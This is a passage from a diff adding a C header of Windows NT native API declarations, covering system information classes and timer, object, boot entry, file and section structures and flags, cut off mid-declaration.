= 1, + SystemPerformanceInformation = 2, + SystemTimeOfDayInformation = 3, + SystemPathInformation = 4, + SystemProcessInformation = 5, + SystemCallCountInformation = 6, + SystemDeviceInformation = 7, + SystemProcessorPerformanceInformation = 8, + SystemFlagsInformation = 9, + SystemCallTimeInformation = 10, + SystemModuleInformation = 11, + SystemLocksInformation = 12, + SystemStackTraceInformation = 13, + SystemPagedPoolInformation = 14, + SystemNonPagedPoolInformation = 15, + SystemHandleInformation = 16, + SystemObjectInformation = 17, + SystemPageFileInformation = 18, + SystemVdmInstemulInformation = 19, + SystemVdmBopInformation = 20, + SystemFileCacheInformation = 21, + SystemPoolTagInformation = 22, + SystemInterruptInformation = 23, + SystemDpcBehaviorInformation = 24, + SystemFullMemoryInformation = 25, + SystemLoadGdiDriverInformation = 26, + SystemUnloadGdiDriverInformation = 27, + SystemTimeAdjustmentInformation = 28, + SystemSummaryMemoryInformation = 29, + SystemMirrorMemoryInformation = 30, + SystemPerformanceTraceInformation = 31, + SystemObsolete0 = 32, + SystemExceptionInformation = 33, + SystemCrashDumpStateInformation = 34, + SystemKernelDebuggerInformation = 35, + SystemContextSwitchInformation = 36, + SystemRegistryQuotaInformation = 37, + SystemExtendServiceTableInformation = 38, + SystemPrioritySeperation = 39, + SystemVerifierAddDriverInformation = 40, + SystemVerifierRemoveDriverInformation = 41, + SystemProcessorIdleInformation = 42, + SystemLegacyDriverInformation = 43, + SystemCurrentTimeZoneInformation = 44, + SystemLookasideInformation = 45, + SystemTimeSlipNotification = 46, + SystemSessionCreate = 47, + SystemSessionDetach = 48, + SystemSessionInformation = 49, + SystemRangeStartInformation = 50, + SystemVerifierInformation = 51, + SystemVerifierThunkExtend = 52, + SystemSessionProcessInformation = 53, + SystemLoadGdiDriverInSystemSpace = 54, + SystemNumaProcessorMap = 55, + SystemPrefetcherInformation = 56, + SystemExtendedProcessInformation = 57, + SystemRecommendedSharedDataAlignment = 58, + SystemComPlusPackage = 59, + SystemNumaAvailableMemory = 60, + SystemProcessorPowerInformation = 61, + SystemEmulationBasicInformation = 62, + SystemEmulationProcessorInformation = 63, + SystemExtendedHandleInformation = 64, + SystemLostDelayedWriteInformation = 65, + SystemBigPoolInformation = 66, + SystemSessionPoolTagInformation = 67, + SystemSessionMappedViewInformation = 68, + SystemHotpatchInformation = 69, + SystemObjectSecurityMode = 70, + SystemWatchdogTimerHandler = 71, + SystemWatchdogTimerInformation = 72, + SystemLogicalProcessorInformation = 73, + SystemWow64SharedInformationObsolete = 74, + SystemRegisterFirmwareTableInformationHandler = 75, + SystemFirmwareTableInformation = 76, + SystemModuleInformationEx = 77, + SystemVerifierTriageInformation = 78, + SystemSuperfetchInformation = 79, + SystemMemoryListInformation = 80, + SystemFileCacheInformationEx = 81, + SystemThreadPriorityClientIdInformation = 82, + SystemProcessorIdleCycleTimeInformation = 83, + SystemVerifierCancellationInformation = 84, + SystemProcessorPowerInformationEx = 85, + SystemRefTraceInformation = 86, + SystemSpecialPoolInformation = 87, + SystemProcessIdInformation = 88, + SystemErrorPortInformation = 89, + SystemBootEnvironmentInformation = 90, + SystemHypervisorInformation = 91, + SystemVerifierInformationEx = 92, + SystemTimeZoneInformation = 93, + SystemImageFileExecutionOptionsInformation = 94, + SystemCoverageInformation = 95, + SystemPrefetchPatchInformation = 96, + SystemVerifierFaultsInformation = 97, + SystemSystemPartitionInformation = 98, + SystemSystemDiskInformation = 99, + SystemProcessorPerformanceDistribution = 100, + SystemNumaProximityNodeInformation = 101, + SystemDynamicTimeZoneInformation = 102, + SystemCodeIntegrityInformation = 103, + SystemProcessorMicrocodeUpdateInformation = 104, + SystemProcessorBrandString = 105, + SystemVirtualAddressInformation = 106, + SystemLogicalProcessorAndGroupInformation = 107, + SystemProcessorCycleTimeInformation = 108, + SystemStoreInformation = 109, + SystemRegistryAppendString = 110, + SystemAitSamplingValue = 111, + SystemVhdBootInformation = 112, + SystemCpuQuotaInformation = 113, + SystemNativeBasicInformation = 114, + SystemErrorPortTimeouts = 115, + SystemLowPriorityIoInformation = 116, + SystemBootEntropyInformation = 117, + SystemVerifierCountersInformation = 118, + SystemPagedPoolInformationEx = 119, + SystemSystemPtesInformationEx = 120, + SystemNodeDistanceInformation = 121, + SystemAcpiAuditInformation = 122, + SystemBasicPerformanceInformation = 123, + SystemQueryPerformanceCounterInformation = 124, + SystemSessionBigPoolInformation = 125, + SystemBootGraphicsInformation = 126, + SystemScrubPhysicalMemoryInformation = 127, + SystemBadPageInformation = 128, + SystemProcessorProfileControlArea = 129, + SystemCombinePhysicalMemoryInformation = 130, + SystemEntropyInterruptTimingInformation = 131, + SystemConsoleInformation = 132, + SystemPlatformBinaryInformation = 133, + SystemPolicyInformation = 134, + SystemHypervisorProcessorCountInformation = 135, + SystemDeviceDataInformation = 136, + SystemDeviceDataEnumerationInformation = 137, + SystemMemoryTopologyInformation = 138, + SystemMemoryChannelInformation = 139, + SystemBootLogoInformation = 140, + SystemProcessorPerformanceInformationEx = 141, + SystemSpare0 = 142, + SystemSecureBootPolicyInformation = 143, + SystemPageFileInformationEx = 144, + SystemSecureBootInformation = 145, + SystemEntropyInterruptTimingRawInformation = 146, + SystemPortableWorkspaceEfiLauncherInformation = 147, + SystemFullProcessInformation = 148, + SystemKernelDebuggerInformationEx = 149, + SystemBootMetadataInformation = 150, + SystemSoftRebootInformation = 151, + SystemElamCertificateInformation = 152, + SystemOfflineDumpConfigInformation = 153, + SystemProcessorFeaturesInformation = 154, + SystemRegistryReconciliationInformation = 155, + SystemEdidInformation = 156, + MaxSystemInfoClass = 157 +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; +#endif + +/* +** Timer START +*/ + +// +// Timer APC routine definition. +// + +typedef VOID(*PTIMER_APC_ROUTINE) ( + _In_ PVOID TimerContext, + _In_ ULONG TimerLowValue, + _In_ LONG TimerHighValue + ); + +typedef enum _TIMER_TYPE { + NotificationTimer, + SynchronizationTimer +} TIMER_TYPE; + +#ifndef _TIMER_INFORMATION_CLASS +typedef enum _TIMER_INFORMATION_CLASS { + TimerBasicInformation +} TIMER_INFORMATION_CLASS; +#endif + +#ifndef _TIMER_BASIC_INFORMATION +typedef struct _TIMER_BASIC_INFORMATION { + LARGE_INTEGER RemainingTime; + BOOLEAN TimerState; +} TIMER_BASIC_INFORMATION, *PTIMER_BASIC_INFORMATION; +#endif + +/* +** Timer END +*/ + +typedef VOID(NTAPI *PIO_APC_ROUTINE)( + _In_ PVOID ApcContext, + _In_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG Reserved + ); + +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; + +#ifndef InitializeObjectAttributes +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } + +// +// Valid values for the Attributes field +// + +#define OBJ_INHERIT 0x00000002L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_VALID_ATTRIBUTES 0x000007F2L + +#endif + + +/* +** Objects START +*/ + +#ifndef _OBJECT_INFORMATION_CLASS +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation, + ObjectNameInformation, + ObjectTypeInformation, + ObjectTypesInformation, + ObjectHandleFlagInformation, + ObjectSessionInformation, + MaxObjectInfoClass +} OBJECT_INFORMATION_CLASS; +#endif + +#ifndef _OBJECT_BASIC_INFORMATION +typedef struct _OBJECT_BASIC_INFORMATION { + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG Reserved[3]; + ULONG NameInfoSize; + ULONG TypeInfoSize; + ULONG SecurityDescriptorSize; + LARGE_INTEGER CreationTime; +} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; +#endif + +#ifndef _OBJECT_NAME_INFORMATION +typedef struct _OBJECT_NAME_INFORMATION { + UNICODE_STRING Name; +} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; +#endif + +#ifndef _OBJECT_TYPE_INFORMATION +typedef struct _OBJECT_TYPE_INFORMATION { + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; +#endif + +typedef struct _OBJECT_TYPE_INFORMATION_8 { + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + UCHAR TypeIndex; + CHAR ReservedByte; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION_8, *POBJECT_TYPE_INFORMATION_8; + +#ifndef _OBJECT_TYPES_INFORMATION +typedef struct _OBJECT_TYPES_INFORMATION +{ + ULONG NumberOfTypes; + OBJECT_TYPE_INFORMATION TypeInformation; +} OBJECT_TYPES_INFORMATION, *POBJECT_TYPES_INFORMATION; +#endif + +#ifndef _OBJECT_HANDLE_FLAG_INFORMATION +typedef struct _OBJECT_HANDLE_FLAG_INFORMATION +{ + BOOLEAN Inherit; + BOOLEAN ProtectFromClose; +} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION; +#endif +/* +** Objects END +*/ + +/* +** Boot Entry START +*/ + +typedef struct _FILE_PATH { + ULONG Version; + ULONG Length; + ULONG Type; + UCHAR FilePath[ANYSIZE_ARRAY]; +} FILE_PATH, *PFILE_PATH; + +typedef struct _BOOT_ENTRY { + ULONG Version; + ULONG Length; + ULONG Id; + ULONG Attributes; + ULONG FriendlyNameOffset; + ULONG BootFilePathOffset; + ULONG OsOptionsLength; + UCHAR OsOptions[ANYSIZE_ARRAY]; +} BOOT_ENTRY, *PBOOT_ENTRY; + +typedef struct _BOOT_ENTRY_LIST { + ULONG NextEntryOffset; + BOOT_ENTRY BootEntry; +} BOOT_ENTRY_LIST, *PBOOT_ENTRY_LIST; + +/* +** Boot Entry END +*/ + +/* +** File start +*/ + +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 + +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 + +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 + +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 + +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 + + +#define FILE_COPY_STRUCTURED_STORAGE 0x00000041 +#define FILE_STRUCTURED_STORAGE 0x00000441 + +#define FILE_VALID_OPTION_FLAGS 0x00ffffff +#define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032 +#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032 +#define FILE_VALID_SET_FLAGS 0x00000036 + +#ifndef _FILE_INFORMATION_CLASS +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, + FileFullDirectoryInformation, + FileBothDirectoryInformation, + FileBasicInformation, + FileStandardInformation, + FileInternalInformation, + FileEaInformation, + FileAccessInformation, + FileNameInformation, + FileRenameInformation, + FileLinkInformation, + FileNamesInformation, + FileDispositionInformation, + FilePositionInformation, + FileFullEaInformation, + FileModeInformation, + FileAlignmentInformation, + FileAllInformation, + FileAllocationInformation, + FileEndOfFileInformation, + FileAlternateNameInformation, + FileStreamInformation, + FilePipeInformation, + FilePipeLocalInformation, + FilePipeRemoteInformation, + FileMailslotQueryInformation, + FileMailslotSetInformation, + FileCompressionInformation, + FileObjectIdInformation, + FileCompletionInformation, + FileMoveClusterInformation, + FileQuotaInformation, + FileReparsePointInformation, + FileNetworkOpenInformation, + FileAttributeTagInformation, + FileTrackingInformation, + FileIdBothDirectoryInformation, + FileIdFullDirectoryInformation, + FileValidDataLengthInformation, + FileShortNameInformation, + FileIoCompletionNotificationInformation, + FileIoStatusBlockRangeInformation, + FileIoPriorityHintInformation, + FileSfioReserveInformation, + FileSfioVolumeInformation, + FileHardLinkInformation, + FileProcessIdsUsingFileInformation, + FileNormalizedNameInformation, + FileNetworkPhysicalNameInformation, + FileIdGlobalTxDirectoryInformation, + FileMaximumInformation +} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; +#endif + +#ifndef _FILE_INFORMATION_CLASS +typedef enum _FSINFOCLASS { + FileFsVolumeInformation = 1, + FileFsLabelInformation, + FileFsSizeInformation, + FileFsDeviceInformation, + FileFsAttributeInformation, + FileFsControlInformation, + FileFsFullSizeInformation, + FileFsObjectIdInformation, + FileFsDriverPathInformation, + FileFsVolumeFlagsInformation, + FileFsMaximumInformation +} FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS; +#endif + +typedef struct _FILE_BASIC_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + ULONG FileAttributes; +} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; + +typedef struct _FILE_STANDARD_INFORMATION +{ + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + UCHAR DeletePending; + UCHAR Directory; +} FILE_STANDARD_INFORMATION; + +typedef struct _FILE_INTERNAL_INFORMATION { + LARGE_INTEGER IndexNumber; +} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; + +typedef struct _FILE_EA_INFORMATION { + ULONG EaSize; +} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; + +typedef struct _FILE_ACCESS_INFORMATION { + ACCESS_MASK AccessFlags; +} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; + +typedef struct _FILE_POSITION_INFORMATION { + LARGE_INTEGER CurrentByteOffset; +} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; + +typedef struct _FILE_MODE_INFORMATION { + ULONG Mode; +} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; + +typedef struct _FILE_ALIGNMENT_INFORMATION { + ULONG AlignmentRequirement; +} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; + +typedef struct _FILE_NAME_INFORMATION { + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; + +typedef struct _FILE_ALL_INFORMATION { + FILE_BASIC_INFORMATION BasicInformation; + FILE_STANDARD_INFORMATION StandardInformation; + FILE_INTERNAL_INFORMATION InternalInformation; + FILE_EA_INFORMATION EaInformation; + FILE_ACCESS_INFORMATION AccessInformation; + FILE_POSITION_INFORMATION PositionInformation; + FILE_MODE_INFORMATION ModeInformation; + FILE_ALIGNMENT_INFORMATION AlignmentInformation; + FILE_NAME_INFORMATION NameInformation; +} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; + +typedef struct _FILE_NETWORK_OPEN_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG FileAttributes; +} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; + +typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { + ULONG FileAttributes; + ULONG ReparseTag; +} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; + +typedef struct _FILE_ALLOCATION_INFORMATION { + LARGE_INTEGER AllocationSize; +} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; + +typedef struct _FILE_COMPRESSION_INFORMATION { + LARGE_INTEGER CompressedFileSize; + USHORT CompressionFormat; + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved[3]; +} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION; + +typedef struct _FILE_DISPOSITION_INFORMATION { + BOOLEAN DeleteFile; +} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; + +typedef struct _FILE_END_OF_FILE_INFORMATION { + LARGE_INTEGER EndOfFile; +} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; + +typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { + LARGE_INTEGER ValidDataLength; +} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; + +typedef struct _FILE_LINK_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; + +typedef struct _FILE_MOVE_CLUSTER_INFORMATION { + ULONG ClusterCount; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION; + +typedef struct _FILE_RENAME_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; + +typedef struct _FILE_STREAM_INFORMATION { + ULONG NextEntryOffset; + ULONG StreamNameLength; + LARGE_INTEGER StreamSize; + LARGE_INTEGER StreamAllocationSize; + WCHAR StreamName[1]; +} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; + +typedef struct _FILE_TRACKING_INFORMATION { + HANDLE DestinationFile; + ULONG ObjectInformationLength; + CHAR ObjectInformation[1]; +} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION; + +typedef struct _FILE_COMPLETION_INFORMATION { + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION; + +// +// Define the NamedPipeType flags for NtCreateNamedPipeFile +// + +#define FILE_PIPE_BYTE_STREAM_TYPE 0x00000000 +#define FILE_PIPE_MESSAGE_TYPE 0x00000001 + +// +// Define the CompletionMode flags for NtCreateNamedPipeFile +// + +#define FILE_PIPE_QUEUE_OPERATION 0x00000000 +#define FILE_PIPE_COMPLETE_OPERATION 0x00000001 + +// +// Define the ReadMode flags for NtCreateNamedPipeFile +// + +#define FILE_PIPE_BYTE_STREAM_MODE 0x00000000 +#define FILE_PIPE_MESSAGE_MODE 0x00000001 + +// +// Define the NamedPipeConfiguration flags for NtQueryInformation +// + +#define FILE_PIPE_INBOUND 0x00000000 +#define FILE_PIPE_OUTBOUND 0x00000001 +#define FILE_PIPE_FULL_DUPLEX 0x00000002 + +// +// Define the NamedPipeState flags for NtQueryInformation +// + +#define FILE_PIPE_DISCONNECTED_STATE 0x00000001 +#define FILE_PIPE_LISTENING_STATE 0x00000002 +#define FILE_PIPE_CONNECTED_STATE 0x00000003 +#define FILE_PIPE_CLOSING_STATE 0x00000004 + +// +// Define the NamedPipeEnd flags for NtQueryInformation +// + +#define FILE_PIPE_CLIENT_END 0x00000000 +#define FILE_PIPE_SERVER_END 0x00000001 + + +typedef struct _FILE_PIPE_INFORMATION { + ULONG ReadMode; + ULONG CompletionMode; +} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION; + +typedef struct _FILE_PIPE_LOCAL_INFORMATION { + ULONG NamedPipeType; + ULONG NamedPipeConfiguration; + ULONG MaximumInstances; + ULONG CurrentInstances; + ULONG InboundQuota; + ULONG ReadDataAvailable; + ULONG OutboundQuota; + ULONG WriteQuotaAvailable; + ULONG NamedPipeState; + ULONG NamedPipeEnd; +} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION; + +typedef struct _FILE_PIPE_REMOTE_INFORMATION { + LARGE_INTEGER CollectDataTime; + ULONG MaximumCollectionCount; +} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION; + +typedef struct _FILE_MAILSLOT_QUERY_INFORMATION { + ULONG MaximumMessageSize; + ULONG MailslotQuota; + ULONG NextMessageSize; + ULONG MessagesAvailable; + LARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION; + +typedef struct _FILE_MAILSLOT_SET_INFORMATION { + PLARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION; + +typedef struct _FILE_REPARSE_POINT_INFORMATION { + LONGLONG FileReference; + ULONG Tag; +} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION; + +// +// Define the flags for NtSet(Query)EaFile service structure entries +// + +#define FILE_NEED_EA 0x00000080 + +// +// Define EA type values +// + +#define FILE_EA_TYPE_BINARY 0xfffe +#define FILE_EA_TYPE_ASCII 0xfffd +#define FILE_EA_TYPE_BITMAP 0xfffb +#define FILE_EA_TYPE_METAFILE 0xfffa +#define FILE_EA_TYPE_ICON 0xfff9 +#define FILE_EA_TYPE_EA 0xffee +#define FILE_EA_TYPE_MVMT 0xffdf +#define FILE_EA_TYPE_MVST 0xffde +#define FILE_EA_TYPE_ASN1 0xffdd +#define FILE_EA_TYPE_FAMILY_IDS 0xff01 + +typedef struct _FILE_FULL_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; + +typedef struct _FILE_GET_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR EaNameLength; + CHAR EaName[1]; +} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION; + +typedef struct _FILE_GET_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + SID Sid; +} FILE_GET_QUOTA_INFORMATION, *PFILE_GET_QUOTA_INFORMATION; + +typedef struct _FILE_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER QuotaUsed; + LARGE_INTEGER QuotaThreshold; + LARGE_INTEGER QuotaLimit; + SID Sid; +} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION; + +typedef struct _FILE_DIRECTORY_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; + +typedef struct _FILE_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; + +typedef struct _FILE_ID_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; + +typedef struct _FILE_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; + +typedef struct _FILE_ID_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; + +typedef struct _FILE_NAMES_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; + +typedef struct _FILE_OBJECTID_INFORMATION { + LONGLONG FileReference; + UCHAR ObjectId[16]; + union { + struct { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + }; + UCHAR ExtendedInfo[48]; + }; +} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION; + +typedef struct _FILE_FS_VOLUME_INFORMATION { + LARGE_INTEGER VolumeCreationTime; + ULONG VolumeSerialNumber; + ULONG VolumeLabelLength; + BOOLEAN SupportsObjects; + WCHAR VolumeLabel[1]; +} FILE_FS_VOLUME_INFORMATION, *PFILE_FS_VOLUME_INFORMATION; + +/* +** File END +*/ + +/* +** Section START +*/ + +#ifndef _SECTION_INFORMATION_CLASS +typedef enum _SECTION_INFORMATION_CLASS { + SectionBasicInformation, + SectionImageInformation, + SectionRelocationInformation, + MaxSectionInfoClass +} SECTION_INFORMATION_CLASS; +#endif + +typedef struct _SECTIONBASICINFO { + PVOID BaseAddress; + ULONG AllocationAttributes; + LARGE_INTEGER MaximumSize; +} SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION; + +typedef struct _SECTION_IMAGE_INFORMATION { + PVOID TransferAddress; + ULONG ZeroBits; + SIZE_T MaximumStackSize; + SIZE_T CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + ULONG GpValue; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + BOOLEAN Spare1; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG Reserved[1]; +} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; + +typedef struct 